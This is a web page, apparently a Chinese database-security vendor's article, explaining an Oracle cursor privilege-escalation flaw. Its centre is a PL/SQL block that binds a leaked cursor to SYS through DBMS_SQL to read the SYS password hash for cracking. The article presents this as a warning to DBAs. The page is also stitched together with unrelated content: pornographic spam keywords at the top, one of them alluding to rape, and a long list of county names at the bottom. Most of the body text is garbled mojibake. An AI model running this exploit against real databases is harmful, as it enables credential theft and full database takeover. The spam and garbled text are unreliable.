欧美乱码精品一区二区三区,风流少妇又紧又爽又丰满,被债主在夫面前人妻被强,国产精品视频永久免费观看

?
內(nèi)容中心
按關(guān)鍵字查找
Oracle數(shù)據(jù)庫游標(biāo)帶來的安全隱患之游標(biāo)提權(quán)漏洞
作者:安華金和 發(fā)布時(shí)間:2017-01-20

前文中我們提到Oracle游標(biāo)的數(shù)據(jù)庫安全隱患之一,如果由于人為原因沒有及時(shí)關(guān)閉游標(biāo),黑客可以通過對(duì)制造異常,使游標(biāo)持續(xù)處于被掛起狀態(tài),然后進(jìn)行惡意代碼注入。再利用游標(biāo)自身的高權(quán)限執(zhí)行惡意代碼,進(jìn)行越權(quán)或者非法提權(quán)操作。本文我們針對(duì)游標(biāo)提權(quán)漏洞進(jìn)行實(shí)例分析。

游標(biāo)提權(quán)漏洞就是在上面的基礎(chǔ)上利用被掛起的游標(biāo),通過類似DBMS_SQL這種由系統(tǒng)定義的包,把游標(biāo)語句和高權(quán)限用戶進(jìn)行綁定。接著上面的例子通過DBMS_SQL綁定SYS,用戶直接獲取SYS的密碼HASH。

SQL> DECLARE

  2  CURSOR_NAME INTEGER;

  3  I INTEGER;

  4  PWD VARCHAR2(30);

  5  BEGIN

  6  CURSOR_NAME:=3241423;

  7  DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,':schina','SYS');

  8  DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PWD,30);

  9  I:=DBMS_SQL.EXECUTE(CURSOR_NAME);

 10  IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME)>0 THEN

 11     DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,PWD);

 12  END IF;

 13  DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);

 14  DBMS_OUTPUT.PUT_LINE ('PWD:'||PWD);

 15  END;

 16  /


上述代碼是在獲取游標(biāo)值的前提下進(jìn)行的,因此在代碼聲明的地方寫入游標(biāo)值3241423。使用DBMS_SQL中的BIND_VARIABLE(cursor_name,':schina',sys)將游標(biāo)和SYS用戶綁定。這樣執(zhí)行查詢SYS用戶。后臺(tái)數(shù)據(jù)庫真正運(yùn)行的語句是:select password from sys.dba_users where username='sys'。DBMS_SQl.define_column函數(shù)的作用是將游標(biāo)中第一列的值返回給PWD變量。黑客在執(zhí)行完上述匿名塊后,系統(tǒng)結(jié)果返回SYS密碼的HASH散列,使用HASH逆向工具進(jìn)行轉(zhuǎn)換就可以獲得SYS密碼明文,直接奪取數(shù)據(jù)庫最高權(quán)限。

至此,對(duì)游標(biāo)漏洞的提權(quán)完成,黑客獲取數(shù)據(jù)庫最高權(quán)限,那么真正的數(shù)據(jù)庫安全危機(jī)也正式爆發(fā)。利用數(shù)據(jù)庫最高權(quán)限,黑客可以對(duì)數(shù)據(jù)庫中的核心數(shù)據(jù)整庫拿走或進(jìn)行增刪改查等關(guān)鍵動(dòng)作,造成一系列嚴(yán)重后果。通過此文的分析,希望對(duì)DBA等數(shù)據(jù)庫管理人員予以警示。


?
五常市| 泸水县| 兖州市| 犍为县| 壤塘县| 阜宁县| 大余县| 邹平县| 舟山市| 阿巴嘎旗| 汝城县| 上杭县| 肃宁县| 永善县| 闻喜县| 汝阳县| 黑水县| 建平县| 耒阳市| 高平市| 克山县| 孟津县| 连州市| 大关县| 商南县| 昭通市| 合水县| 横山县| 松桃| 麟游县| 西盟| 阜新| 冕宁县| 威远县| 漯河市| 嘉定区| 西畴县| 北安市| 文昌市| 静安区| 南投市|